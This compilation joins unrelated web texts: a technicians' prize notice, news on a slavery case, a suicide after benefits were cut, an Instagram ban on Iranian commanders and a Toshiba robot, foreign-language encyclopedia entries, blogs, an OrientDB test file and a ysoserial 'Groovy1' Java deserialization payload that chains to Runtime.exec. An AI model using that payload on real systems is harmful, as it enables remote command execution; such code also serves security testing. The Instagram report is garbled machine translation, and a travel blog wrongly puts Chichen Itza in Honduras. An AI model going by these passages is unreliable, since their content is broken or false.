Papin Prizes recognise the skills, talent and experience of technicians in higher education and research, across the UK and Ireland.
Papin Prizes were first awarded at the inaugural Higher Education Technicians Summit in 2015 at the University of Nottingham. The third round of awards will be made at the 2019 Higher Education Technicians Summit (HETS 2019), which is taking place at the University of Birmingham on 25th June 2019.
Research - A member of technical staff that has made a significant contribution to research.
Teaching - A member of technical staff that has made a significant contribution to the student teaching and learning experience.
Newcomer - An individual who has embarked on a technical career within the past 4 years and shown exceptional promise - for example, this may be a trainee or apprentice technician.
Core Research Facility - A member of technical staff within a central research facility/platform that has provided exceptional skills/expertise.
Infrastructure - A member of technical staff that has made a significant contribution to day to day infrastructure to support research and/or teaching – for example, roles may include technical staff who look after building facilities or technicians that provide key day to day services.
Outreach/Community - A member of technical staff that has made a significant contribution to community/outreach activities.
Technical Team - A technical team who have worked together to deliver excellence.
Lifetime Achievement - An award to recognise continued excellence and/or significant achievements across an individual's technical career.
Nominations can be made by any member of the higher education community including students, staff, collaborators and alumni. To be entered, the technician in question should be currently employed by a UK university or research institute on a part-time or full-time, fixed term or permanent basis.
Success – cases where the nominated individual has demonstrated technical expertise and remarkable effort to ensure targets were met/exceeded and/or particular milestones were achieved.
Inspiration – cases where a nominees' technical experience and knowledge has inspired others (colleagues, students, members of the public).
Innovation - cases where the nominees' inventive thinking and/or novel application of technical skills has resulted in a successful resolution to a problem, improved efficiency or has resulted in the development of new scientific/technological concepts.
Personal/Professional Development – cases where nominees have undertaken significant personal development and/or increased their knowledge and technical ability (outside of their routine role) to the benefit of the university and beyond.
Expertise – cases where nominees have built a reputation as recognised leaders in their field of technical expertise.
Leadership/ Collaboration – cases where strong technical leadership or collaboration has ensured a successful outcome.
Student Experience – cases where technical staff have gone "the extra mile" to support teaching and learning activities for students.
The deadline for Papin Prize nomination submission for HETS 2019 has now closed. Thank you all for your nominations and we look forward to shortlisting and announcing the winners in due course.


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A couple who kept a man as a slave and forced him to live in a cupboard under the stairs 'like Harry Potter' have been jailed for a total of eight years.
Ion Boboc, 26, and Christiana Tudor-Dobre, 24, made their Romanian-born housemate carry out forced labour and controlled all his finances.
His captors stopped him from eating or drinking in the house, made him drink from an outside housepipe and use woodland when he needed the toilet.
He was made to eat highly-spiced food and ordered to dance and carry out physical challenges, and even had eggs and flour thrown over him.
The victim worked full time at an abattoir earning £300 to £350-a-week – but was given just enough money to buy his bus tickets and around £1-a-day for biscuits.
The victim had been using the cupboard under the stairs as a bedroom like 'the boy wizard Harry Potter', a court was told.
Neighbours called police after seeing the victim washing in the garden in a basin fashioned from a pile of rocks.
The pair, from the St Anne's Park area of Bristol, were sentenced at Taunton Crown Court.
Boboc was handed four years and two months' jail, and Tudor-Dobre three years and seven months' jail. Both were given an eight-year slavery trafficking prevention order.
Charles Thomas, prosecuting, said police visited the trio's address on July 27 2018, after a concerned neighbour called the Modern Slavery Hotline.
Mr Thomas said: 'Police were surprised when the victim emerged from the cupboard under the stairs. He looked dishevelled'.
The victim eventually revealed that he would have to wash his clothes in the town centre and was not allowed to eat or wash inside the house, with no use of the kitchen.
Ben Samples, of the CPS, said: 'I would like to commend the victim for the incredible strength and bravery he showed in giving evidence and supporting the prosecution, despite the degrading treatment he suffered at the hands of the defendants.
'I would also like to thank the members of the public who contacted the police with their concerns. Modern slavery often takes place out of sight, and it is only with the support of such witnesses that we will defeat it in the UK.
Officer in the case PC Roger Ibrahim said: 'Without the information through the Modern Slavery Hotline this abuse would still be happening.


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Tomasz Kloc (ur. 1972) – prezes Stowarzyszenia Rannych i Poszkodowanych w Misjach Poza Granicami Kraju, starszy chorąży sztabowy w stanie spoczynku, jeden z grona pierwszych trzech weteranów odznaczonych wojskową odznaką "Za Rany i Kontuzje", kawaler Orderu Krzyża Wojskowego.

Ukończył technikum budowlane o specjalności technika budowy dróg i mostów.

Były saper Wojska Polskiego. Ukończył Szkołę Chorążych Wojsk Inżynieryjnych w Brzegu. W roku 1995 rozpoczął zawodową służbę wojskową w 5 Brygadzie Saperów w Podjuchach. Był dowódcą plutonu 5 pułku inżynieryjnego w kompanii rozminowania. Uczestnik PKW Liban (1999). Od 2000 r. służył w 12 Brygadzie Zmechanizowanej jako saper-instruktor.

Uczestnik I zmiany PKW Irak (2003). 12 grudnia 2003 r. o godz. 7.50 czasu warszawskiego w odległości 4 km od miejscowości Al-Mahawil w Iraku, polski patrol rozminowania składający się z 18 żołnierzy zaatakowany został przez nieznanych sprawców przy użyciu prawdopodobnie zdalnie odpalonej miny. W wyniku eksplozji dowodzący patrolem chor. Tomasz Kloc doznał ciężkiej rany podudzia z krwotokiem – ma uszkodzony nerw udowy powodujący przykurcze, dodatkowo cierpi na niedowład prawej ręki. Orzeczono 70% trwałego uszczerbku na zdrowiu. Po leczeniu w Wojskowym Instytucie Medycznym został z dniem 31 marca 2005 r. zwolniony z zawodowej służby wojskowej i przeniesiony w stan spoczynku w stopniu młodszego chorążego sztabowego.

W cywilu ukończył studia na kierunku "bezpieczeństwo publiczne" i zdobył tytuł magistra socjologii.
Jest współzałożycielem Stowarzyszenia Rannych i Poszkodowanych w Misjach Poza Granicami Kraju. Obecnie pełni funkcję prezesa Zarządu Głównego.

Od marca 2013 r. jest pracownikiem cywilnym wojska w 12 BZ na stanowisku starszego referenta do spraw rannych i poszkodowanych.

1 stycznia 2014 r. na podstawie zapisów art. 12. ustawy z dnia 11 października 2013 r. o zmianie ustawy o służbie wojskowej żołnierzy zawodowych oraz niektórych innych ustaw został awansowany na stopień starszego chorążego sztabowego.

Odznaczenia
 Wojskowa odznaka "Za Rany i Kontuzje" – 2012
 Krzyż Kawalerski Orderu Krzyża Wojskowego – 2010
 Gwiazda Iraku – 2011
 Odznaka honorowa "Husarz Polski" (nr 44) – 2007
 Medal "Milito Pro Christo" – 2015
 Odznaka "Weteran Wojenny" – Słowacja, 2013
 Medal ONZ za misję UNIFIL – 2000

Przypisy

Bibliografia

Podoficerowie Sił Zbrojnych Rzeczypospolitej Polskiej
Odznaczeni Krzyżem Kawalerskim Orderu Krzyża Wojskowego
Odznaczeni Gwiazdą Iraku
Odznaczeni Medalem Milito Pro Christo
Urodzeni w 1972
Żołnierze Polskiego Kontyngentu Wojskowego w Iraku

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Turfan (ujgursky تۇرپان, Turpan; čínsky 吐魯番, pinyinem Tǔlǔfān) je oáza ve Východním Turkestánu v Ujgurské autonomní oblasti Sin-ťiang; nachází se na severní straně Turfanské prolákliny v nadmořské výšce +30 m. Roku 2006 v Turfanu žilo 254 900 obyvatel, převážně Ujgurů.

Doprava
Přes Turfan prochází dálková železniční trať Lan-čou – Sin-ťiang, od které se v něm odpojuje železniční trať Turfan – Kašgar.

Turfan se nachází na dálnici číslo 312.

Rozinky

V Turfanu je sice klima bez moře silně závislé na slunci, teploty se během roku pohybují mezi +40 a −29 stupni Celsia, ovšem minimální srážky se tu řeší zavlažováním. Díky tomu se tu každoročně vypěstují spousty kvalitního ovoce.

V Turfanu se již po staletí suší rozinky, tradičně 40 dní v tmavých a relativně chladných větrných sušárnách, tak bobule zůstávají světlé. Naopak, když se původně žlutozelené bobule suší na přímém slunci, ztmavnou; zhnědnou.

Produkce
Světová produkce rozinek byla 1,1 milionu tun (r. 2005), z toho nejvíce: Turecko 30 %, USA 28 %, Írán 13 %, Řecko a Chile po 6 %.

V roce 2009/2010 byla čínská roční produkce rozinek předpovězena mezinárodními experty na 155 000 tun, z čehož 75 % bylo předpokládáno z Turfanu, tedy 10 % celosvětové produkce rozinek.

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Hope this finds you well, that your first day back at work went well, that the first day back to school went off without a hitch and that life is just treating you so awesomely!
Cupcake is now in a pre-RR class! I was so nervous when his teacher mentioned that he would be moving over to a new class that my stomach actually started turning. Luckily his school has very amazing techniques in place whereby they have been moving him for a few hours a day into a bigger class out from his toddler class to see how he fairs. It actually got to a point where the principal called Superman to tell him that Cupcake had promoted himself to the big class, lol! This also meant that in order for him to be there full-time, he needed to be potty trained. *gasp* I had all intention of potty training because I was so afraid of forcing the issue.
Needless to say, the day the school holidays began, I prepped, geared up to stay indoors for a few days and focused on the potty training *will have a blog post on this later* and alghamdulilah, today he is able to pee by himself and tell me when he needs to poop. On that note I think we need another bathroom in the house as Superman ain't too happy on sharing his throne,lol.
Superman and I achieved our own little milestone, December marked 10 years of togetherness, that being 5 years of marriage, 2 years of being engaged and 3 years of wondering if we could stand each other. We've also started to focus a little more on us now that the boys are a little older, and not even in a big way, simple chats over coffee in the kitchen or sitting out back while one of us does the laundry and the kids are asleep.
As for me, I feel that 2017 was our families year for change (new school, new home, new job, new hairdo, new carers) then 2018 is the year for action, and I fully intend on putting that to fruition insha-allah.


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A man ended his life when his ESA award was stopped, because he couldn't find work
Damien Lawler, who had a generous nature and a heart of gold. (Image: Karen Lawler)
Last year on 19 July, Karen Lawler found her son Damien, aged 34, dead at his flat in Newtown Court, Hull.
Damien killed himself after struggling to find work and his social security support – Employment and Support Allowance (ESA) was due to be stopped. Known as 'Damo' to his family, he was found dead in his flat, east Hull, flat with a suicide note in his hand.
In the note, he wrote that he felt like a "hindrance" and "couldn't carry on anymore" after having no success for the numerous job applications he had made. He also wrote that his ESA was due to be cancelled, and he was so terrified about being put on Jobseeker's Allowance he was experiencing "stupid" panic attacks.
He wrote: "I'm sorry for all the pain and heartache I'm leaving behind. I love you with all my heart but I can't carry on anymore."
Damien's mother, Karen Lawler, spoke of her heartache and described her son as someone "with a heart of gold". She said: "He never had much money but he would always give his last penny or his last cigarette to a homeless person on the street. He always had a care for the homeless."
"He had a wicked sense of humour and a heart of gold. He would do anything for anybody."
Lawler, who found her son after letting herself into his home on July 19, 2018, said her son had been suffering depression for a number of years, and said more needed to be done to support people with mental health issues. She said: "Damo was just so tired and exhausted with it all.
"There was not enough support for him.
"There's just nothing there. He's not the only one. The recent cases with males in Hull is going sky high because they can't cope anymore."
An inquest on Tuesday heard Ms Lawler took her son to his GP in November 2013 after he deliberately self-harmed, using a Stanley knife to cut off his toe nails. He was prescribed with anti-depressants but his mental health difficulties took a turn for the worse in 2017.
During a visit to his GP in January 2018, Damien revealed he had thoughts of self-harm and suicide. He was advised to return to the surgery for further consultation, but he did not follow through with the appointments.
Many people who are ill and struggling find it very difficult to keep appointments, especially when they face difficulties accessing acute services for help. Many need immediate help to follow from the first appointment, because by that time, they are in crisis. But all too often, people in terrible distress, with suicide ideation, are being told they must attend yet another appointment.
This system sets up a bureaucratic wall, placing an all too often insurmountable barrier between citizens in the greatest need – those least ability to cope with navigating the wall – and the services and support they need to access.
We must also question the decision to end Damien's ESA award, when he was so clearly ill and unfit for work. We must challenge a system that leaves people feeling as if they are some kind of 'burden' simply because they are ill.
"There needs to be something there if they do not turn up for any appointments," said Ms Lawler. "They cannot just discharge someone. They need to try and find out why they have not come to the appointment. Maybe contacting a next of kin or something.
She added: "I don't know what the answer is and I don't suppose there is an easy answer but something needs to be changed. Something has got to change in Hull, it really has."
I agree. Something has to change. The social security and health care systems no longer function to meet fundamental human needs. Instead they have been redesigned to provide as little support as possible at the lowest costs, while a host of private companies make profits at citizens' expense.
The Coroner, James Hargan, returned a verdict of suicide.
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PAPYRUS (0800 068 41 41) is a voluntary organisation supporting teenagers and young adults who are feeling suicidal.
Depression Alliance is a charity for people with depression. It doesn't have a helpline, but offers a wide range of useful resources and links to other relevant information depressionalliance.org
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5 thoughts on "A man ended his life when his ESA award was stopped, because he couldn't find work"
sdbast says:
matt sanders says:
Very sad and avoidable. Its the same with Universal Credit, no need to roll out to 10,000 people because its is a disaster, I know, it left me £4000 out of pocket and two years after my claim ended I am still trying to bring people to account for their failures.
Unemployment isn't always a choice, sometimes it gets forced on you.
In 2009 I worked for a company that was up for sale and took a look at the job market, in 2016 when I was forced out of a job, the employment situation had markedly changed, many of the jobs just aren't there any more.
The DWP recently in a newspaper article said 9 million jobs would go, I told them and their job coaches this 3 years ago. They took no notice of me, so why has this changed and they are now interested? Well, because futurists like me have been telling them long enough, they have suddenly woken up because people that matter are now saying it.
Or maybe some consultant has told them so and they realise that they will have to go to an income payment benefit because the jobs in the future will not be there.
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Hi Sue, yet again painful to read this, here's one more set of links:
https://www.mind.org.uk/information-support/tips-for-everyday-living/money-and-mental-health/useful-contacts/
& to help others: https://www.mind.org.uk/information-support/guides-to-support-and-services/seeking-help-for-a-mental-health-problem/helping-someone-else-seek-help/
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The online platform Instagram has blocked the accounts of several commanders of the Iranian revolutionary guards (IRGC). IRGC chief Mohammed Ali Dschafari and two other high-ranking generals, were affected, the news Agency reported More on Wednesday.
The measure, the American platform had been carried out in accordance with the decision of U.S. President Donald Trump , the revolutionary guard as a terrorist organization. According to the English-language site was blocked by supporters of the Supreme Iranian leader, Ayatollah Ali Khamenei.
Iran's telecommunications is not set Minister criticized Instagram with a quote from the American writer George R. R. Martin: "When You tear a man's tongue, You prove that he is a liar, but share the world with, that You're scared of what he might say," he wrote on his Twitter page. Observers in Iran believe that the accounts of the IRGC generals will soon be locked also in other social media such as Twitter and Facebook. Instagram is in addition to Twitter, the most popular App in Iran.


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Q: How to upload an image programmatically using C# I am trying to simulate a file upload to a website. I have an html form like this:
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or
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This open standard "open file dialog box", for uploading a file, in this case an image. I want to upload an image but not by clicking the button.
Is this close or just stupid?
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Q: Convert Raw Vector into a Parameterized Vector I heard that it is a good practice to use parameterized vectors whenever you can, so I have a super class, one of whose methods return a raw vector, which I want to add it to my String parameterized Vector.
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This code gives a warning that it needs unchecked conversion, I'd like to do the same i.e., convert the raw vector into parameterized one while assigning.

A: You could simply use @SuppressWarnings({"unchecked", "rawtypes"}), but using this code would be safer:
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Watch: An Israeli-made kamikaze drone has apparently been spotted in the skies over Nagorno-Karabakh in the Caucasus
Artsrun Hovhannisyan, a press spokesman for Armenia's defense ministry, said on his Facebook page that the Azerbaijani army was using the using the Israeli Harop drone.
He told the state-run Russian agency Ria Novosti that the drone had apparently fixed on a bus full of "Armenian volunteers" and killed seven of them, the Washington Post reported.
The war-torn region is located within, and internationally recognized as, a part of Azerbaijan. Most of it is governed, however, by Armenia-backed, ethnic Armenian separatists, who were the majority of the region's population when Azerbaijan was ruled by the Soviet Union.
Ethnic Armenian separatists boosted by Yerevan seized control of the mountainous region in a war in the early 1990s that claimed some 30,000 lives.
The foes have never signed a peace deal despite a ceasefire in 1994.
On Friday, an unusually bitter round of fighting reportedly broke out between Azerbaijani and Armenian forces, breaking a ceasefire and leaving at least 18 Armenian and 12 Azerbaijani soldiers dead. The Armenians accused the Azerbaijanis of launching an offensive. On Sunday, Azerbaijan announced a unilateral ceasefire.
The Washington Post said the drone's wing shape and nose suggested it was an Israeli Aerospace Industries Harop, which rams into an object and blows it up. The Harop is small enough to be able to skirt enemy aircraft detection systems and can find targets by radar or radio wave, as well as by remote piloting.
The Post said the Harop drone had also been spotted in use in Syria and Ukraine.
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Besigye, Keep the west out of our politics please
Presidential candidate Dr Kiiza Besigye
I am one of Dr. Besigye's supporters based on his passion to solve Uganda's myriad problems including poverty and unemployment among others.
But I was recently shocked when I heard his comments about the involvement of whites in Uganda's politics.
He triumphantly told crowds at one of his campaign rallies during the festive seasons 'Bazungu" whom he said have now fallen out with president Museveni have now jumped ship and joined hands with him (Besigye) to remove Museveni from power.
While he did not indicate the type of whites he was talking about, I was all the same taken aback at the fact that he's equally interested in their support in his sole effort to remove Museveni from power and thereafter render support in developing Uganda.
Like many Ugandans, my reservation springs from the fact that these human beings especially Americans who regard themselves as international policemen are responsible for the disruption of peace and order in many countries especially the Middle East countries such as Iraq, Afghanistan, Syria, and Libya among others under the guise of promoting democracy.
Besigye and his advisory don't need to be deceived; Americans and Europeans have always gone with ulterior motives in those countries though they have always purported to offer economic and military assistance.
I have also noted with concern that most of those countries where they have intervened have instead degenerated into war zones while others have over time become bedrocks for terrorist groups such as the ISIS.
My humble plea to Besigye therefore is: In case he wins the presidential elections, let him leave out white people; Americans, Europeans and all in our politics solely because nothing good has ever come out from other countries that have hosted and collaborated with them. Uganda will not remain an Island.
Bravo KCCA on road user fees!
Allow enough time to assess politicians


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I'm super fascinated by ancient structures. Especially mysterious ancient structures, pyramids, and remnants of civilizations that we know very little about. Due to the all-out destruction of libraries, temples, and thousands of codices, very little is known about the ancient civilizations of the Americas. What we have left today are the puzzling ruins; examples of forgotten architecture, sculptures of abandoned gods, and the last shadows of once great cities that defy imagination. Hire a car rental from CarHireX.com for your next tour of an ancient city.
Earlier this year I visited the most famous ancient pyramid complex in Mexico, Teotihuacan by car rental from Mexico City Airport. It was a thrilling experience that left me craving for more. I can't wait until the next time I get the chance to travel, I will definitely plan a trip to such a place with a window back into time.
Along with my visit to the ancient ruins of Mexico I was reading an excellent book about ancient civilizations called The Fingerprints of the Gods by Graham Hancock. Like an alternative guidebook, I was reading the unofficial theories which challenge the age and purpose for structures like Teotihuican.
I have since decided I would love to see all the ancient ruins throughout Central America, and one place I'm definitely interested in visiting is Honduras. One of the most recently discovered and most significant Mayan ruins is located in Honduras, Chitzen Itza, along with a few other prominent sites you can easily visit by car rental from Tegucigalpa Airport.


I want to add the var Book_BackWard function available in the extended book flip slideshow script found here: http://www.burmees.nl/menu/bookextended.html to the book flip slideshow and use it in conjunction with the vertical flip function to make the slideshow flip upwards.
I also want to remove or hide the top image so it displays as just one image flipping up, to achieve the effect of the image disappearing instead of opening like a book.
I can't figure out how to add the backward function to the script with the vertical function, or vice versa adding the vertical function to the extended script. I have been playing with it for hours and can't seem to find the right parts of the scripts to combine.
Any idea how to combine the vertical and backward function and hide or remove the top image?
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the image opens upwards from the bottom.
I thought that is what you wanted.


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Being True to Yourself with Chris Donovan- CR46
What's it like to take evening classes while working full time to expand your career options? In this episode of Career Relaunch, Chris Donovan, a former telephone repairman turned high-end women's shoe designer, shares his thoughts on doing work that's authentic to who you are and how to deal with being an outlier when you're pursuring a new career path. Afterwards, during today's Mental Fuel, I'll talk about being who you are, but doing it in a way that still allows you to resonate with the right people.
Stability is nice, but at some point, you have to decide whether that stability is fulfilling enough for you.
You are always going to face obstacles when you're starting down a new path. You just have to keep talking to more people to figure out away around those obstacles. You can't give up because you never know when you're going to stumble upon the right person who can open a door for you.
Fear and excitement are related feelings, especially when you're doing something you never thought you would be doing. Face it. Embrace it.
To make big things happen, you have to face your fears.
Chris Donovan
During this episode's Mental Fuel segment, I talked about the importance of identifying one aspect of your personality that could serve you well in getting there. I call this a personality asset. What's one part of who you are that you've maybe been holding back, for WHATEVER reason, but could actually benefit from showcasing? I want you to give yourself permission to let it shine. For some help in articulating the various aspects of who you are, you can download my "Personal Branding Starter" worksheet.
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One of the things Chris and I spoke about on this episode was being true to yourself and making the most of who you are at work. This topic is especially relevant if you're one of those people wrestling with whether or not to "just be myself" at work or flex who you are to meet the specific standards and expectations of your organization, even if that means NOT being yourself. This article from Fast Company entitled Should You Hide Your Personality at Work touches on this.
About Chris Donovan
Chris Donovan who spent 25 years repairing phones, but recently decided to revisit his childhood fascination with shoes to become a high-end women's shoe designer. With the tremendous support and enthusiasm from his husband, he retired early and was accepted at Polimoda Fashion Institute in Florence, Italy. He's recently found a potential manufacturer, and is now working to create and launch his first shoe line. You can follow Chris on Twitter, Instagram, Facebook, and Pinterest.
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Will is the most powerful quality we possess. Will does big things like put people on the moon. And little things like make you order salad instead of fries. Will is the difference between like it and love it. The distance between quitting time and the finish line. Will is the two hands that push firmly on the back of anyone who ever did the thing they needed to do but didn't really have to.


Formed in 1998, the New York State Association for Affordable Housing (NYSAFAH) is the trade association for New York's affordable housing industry statewide.
Our 375 members include for-profit and nonprofit developers, lenders, investors, syndicators, attorneys, architects and others active in the financing, construction, and operation of affordable housing. Together, NYSAFAH's members are responsible for most of the housing built in New York State with federal, state, or local subsidies.
New York's housing affordability crisis is not just a New York City issue – it is a statewide challenge that we must work collaboratively to address. The need for affordable housing continues to grow nationwide and statewide. And while housing experts in New York City have already raised the alarm about the impact of new state legislative proposals on the future of affordable housing, the reality is that those same concerns exist outside the city too – on Long Island and Upstate, as well.
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package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.Map;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				Comparator.compare() (Proxy)
					ConvertedClosure.invoke()
						MethodClosure.call()
							...
						  		Method.invoke()
									Runtime.exec()

	Requires:
		groovy
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {
		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(cmdHelper.getCommand(), "execute"), "entrySet");

		final Map map = Gadgets.createProxy(closure, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(Groovy1.class, args);
	}
}


text:
package com.orientechnologies.orient.test.database.auto;

import com.orientechnologies.orient.core.hook.ORecordHook;
import com.orientechnologies.orient.core.hook.ORecordHookAbstract;
import com.orientechnologies.orient.core.record.ORecord;
import com.orientechnologies.orient.core.record.impl.ODocument;
import com.orientechnologies.orient.core.sql.query.OSQLSynchQuery;
import com.orientechnologies.orient.test.domain.whiz.Profile;
import java.io.IOException;
import java.util.List;
import org.testng.Assert;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.Optional;
import org.testng.annotations.Parameters;
import org.testng.annotations.Test;

@Test(groups = "hook")
public class HookTest extends ObjectDBBaseTest {
  private int callbackCount = 0;
  private Profile p;
  private Hook hook = new Hook();

  @Parameters(value = "url")
  public HookTest(@Optional String url) {
    super(url);
  }

  @AfterMethod
  @Override
  public void afterMethod() throws Exception {}

  @Test
  public void testRegisterHook() throws IOException {
    database.registerHook(hook);
    database
        .getEntityManager()
        .registerEntityClasses("com.orientechnologies.orient.test.domain.business");
    database
        .getEntityManager()
        .registerEntityClasses("com.orientechnologies.orient.test.domain.whiz");
    database
        .getEntityManager()
        .registerEntityClasses("com.orientechnologies.orient.test.domain.base");
  }

  @Test(dependsOnMethods = "testRegisterHook")
  public void testHooksIsRegistered() throws IOException {
    for (ORecordHook hook : database.getHooks().keySet()) {
      if (hook.equals(this.hook)) return;
    }

    Assert.assertTrue(false);
  }

  @Test(dependsOnMethods = "testHooksIsRegistered")
  public void testHookCreate() throws IOException {
    p = new Profile("HookTest");

    // TEST HOOKS ON CREATE
    Assert.assertEquals(callbackCount, 0);
    database.save(p);
    Assert.assertEquals(callbackCount, 11);
  }

  @Test(dependsOnMethods = "testHookCreate")
  public void testHookRead() {
    // TEST HOOKS ON READ
    List<Profile> result =
        database.query(
            new OSQLSynchQuery<Profile>("select * from Profile where nick = 'HookTest'"));
    Assert.assertEquals(result.size(), 1);

    for (int i = 0; i < result.size(); ++i) {
      Assert.assertEquals(callbackCount, 46);

      p = result.get(i);
    }
    Assert.assertEquals(callbackCount, 46);
  }

  @Test(dependsOnMethods = "testHookRead")
  public void testHookUpdate() {
    // TEST HOOKS ON UPDATE
    p.setValue(p.getValue() + 1000);
    database.save(p);
    Assert.assertEquals(callbackCount, 136);
  }

  @Test(dependsOnMethods = "testHookUpdate")
  public void testHookDelete() {
    // TEST HOOKS ON DELETE
    database.delete(p);
    Assert.assertEquals(callbackCount, 266);
  }

  @Test(dependsOnMethods = "testHookDelete")
  public void testUnregisterHook() throws IOException {
    database.unregisterHook(hook);
    database.close();
  }

  public class Hook extends ORecordHookAbstract {
    @Override
    public DISTRIBUTED_EXECUTION_MODE getDistributedExecutionMode() {
      return DISTRIBUTED_EXECUTION_MODE.TARGET_NODE;
    }

    @Override
    public RESULT onRecordBeforeCreate(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 1;
      return RESULT.RECORD_NOT_CHANGED;
    }

    @Override
    public void onRecordAfterCreate(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 10;
    }

    @Override
    public RESULT onRecordBeforeRead(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 20;
      return RESULT.RECORD_NOT_CHANGED;
    }

    @Override
    public void onRecordAfterRead(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 15;
    }

    @Override
    public RESULT onRecordBeforeUpdate(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 40;
      return RESULT.RECORD_NOT_CHANGED;
    }

    @Override
    public void onRecordAfterUpdate(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 50;
    }

    @Override
    public RESULT onRecordBeforeDelete(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 60;
      return RESULT.RECORD_NOT_CHANGED;
    }

    @Override
    public void onRecordAfterDelete(ORecord iRecord) {
      if (iRecord instanceof ODocument
          && ((ODocument) iRecord).getClassName() != null
          && ((ODocument) iRecord).getClassName().equals("Profile")) callbackCount += 70;
    }
  }
}


When you think about our military, what first comes to mind? Most likely, you think about how these brave men and women risk their lives for the good of our country.
But there is another side of the story that's often left untold.
These soldiers have lives, homes, and families from which they are torn apart for long periods of time. It's extremely tough on both sides, but military families do what they can to push through.
For military wife, Bridget Stevens, that story is far too familiar.
It was winter in her Pennsylvania home, and a broken heater left her and her children freezing.
Although she was short on money, she had no choice but to contact Betlyn's Heating and Cooling to fix the problem.
After attempting to trouble-shoot the issue over the phone, nothing was working. So the owner of the company, Paul, told the troubled mother that he was on his way to fix her heater. When he arrived, Bridget explained that her husband normally helps with household repairs.
But the problem was– her husband was away on deployment.
After Paul had finished repairs, Bridget was hesitant to look at the bill. But when she did, she was shockingly surprised.
Paul refused to take any money and said simply to thank her husband for his service.
"This is a bit lengthy, but I just want to take a minute to acknowledge Betlyn Heating and Cooling. I came home with the boys to a cold house that was 50 degrees. When turning up the thermostat was not kicking the furnace on, I called Betlyn's, thinking I'd get a machine and have to leave a message, then run to the store for space heaters.
Ultimately, Paul, the owner, answered and was very patient as he walked me through different things to do to try to get it back on. When none of that worked, he said he needed to come to the house to fix it.
As he was working on the furnace, we got to talking about Bobby and the deployment. I had mentioned in passing that I tried to figure it out with my husband, but since he's deployed and couldn't see it, he wouldn't know what to do.
After he was finished, I was a little apprehensive about how much it was going to cost. He handed me the slip that is in this photo. When I tried to give him any money at all, he said that the $1 was a joke, and to thank my husband for his service.
Through the efforts of proud Americans sharing her story, this message has gone on to inspire countless other acts of kindness.
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The National Academy for Parenting Practitioners will close in April 2010 after coming to the end of its three-year funding cycle.
The academy's programmes on training will be continued by the Children's Workforce Development Council and the research functions will be taken over by King's College London.
The academy was launched in November 2007 to improve the skills of practitioners who support parents in England, chaired by Hilton Dawson, now chief executive of the British Association of Social Workers. It was created as part of the government's Respect Action Plan to tackle antisocial behaviour, with £30m in funding from the Department for Children, Schools and Families.
In a statement announcing the news of its closure, the organisation said it had achieved its aims of training 4,000 practitioners across England and giving them the tools to support 30,000 parents a year.
Mark Molden, who became chair of the academy in July this year, said that through its programme of research and training it had secured "a widespread understanding among commissioners, providers and practitioners that work with parents needs to be evidence-based".


YOKOHAMA, Japan—Toshiba Corp. unveiled a robot the company says can withstand high radiation and help in nuclear disasters.
But it remains unclear what exactly the new machine will be capable of doing if and when it gets the go-ahead to enter Japan's crippled Fukushima Dai-ichi nuclear plant.
The four-legged robot can climb over debris and venture into radiated areas off-limits to human workers.
One significant innovation, Toshiba said, is that its wireless network can be controlled in high radiation, automatically seeking better transmission when reception becomes weak.
But the machine, which looks like an ice cooler on wobbly metal legs, also appears prone to glitches.
The robot took a jerky misstep during a demonstration to reporters, freezing with one leg up in the air.
It had to be lifted by several people and rebooted.
With obstacles that aren't as even and predictable as steps, such as the debris at the plant, it may need as much as 10 minutes to figure out how to clear the object, Toshiba acknowledged.
Still, Tokyo Electric Power Co. said it might use the robot to inspect the suppression chamber of the Fukushima plant, where a devastating meltdown took place after a mammoth tsunami slammed into northeastern Japan March 11, 2011.
Toshiba began developing the robot after the disaster with hopes it would prove useful in helping to decommission the plant.
No human has been able to enter the highly radiated chamber since the tsunami disaster.
"We need this to go in and first check what is there," said Toshiba Senior Manager Goro Yanase.
It was unclear when a decision on the robot's use would be made, according to TEPCO, which operates the nuclear plant.
Although what Toshiba showed was top-notch robotics, what the machine might be able to do appeared limited in the face of the disaster's magnitude and complexity.
Japan boasts among the world's most sophisticated robotics technology, exemplified in the walking, talking human-shaped Asimo robot from Honda Motor Co.
The inability of such gadgetry to help out with the Fukushima disaster was widely criticized.
Part of the reason is that robots, although suited for tasks such as greeting visitors at dealerships, are too delicate.
Their wireless remote-controlled networks are not designed to endure high radiation.
Honda has acknowledged Asimo would not have been able to withstand the environment at Fukushima, as some had suggested.
Toshiba's Yanase said the new robot, which has a dosimeter to measure radiation and six cameras, can stay in a 100 millisievert environment for about a year and can tolerate even higher radiated areas for shorter periods.
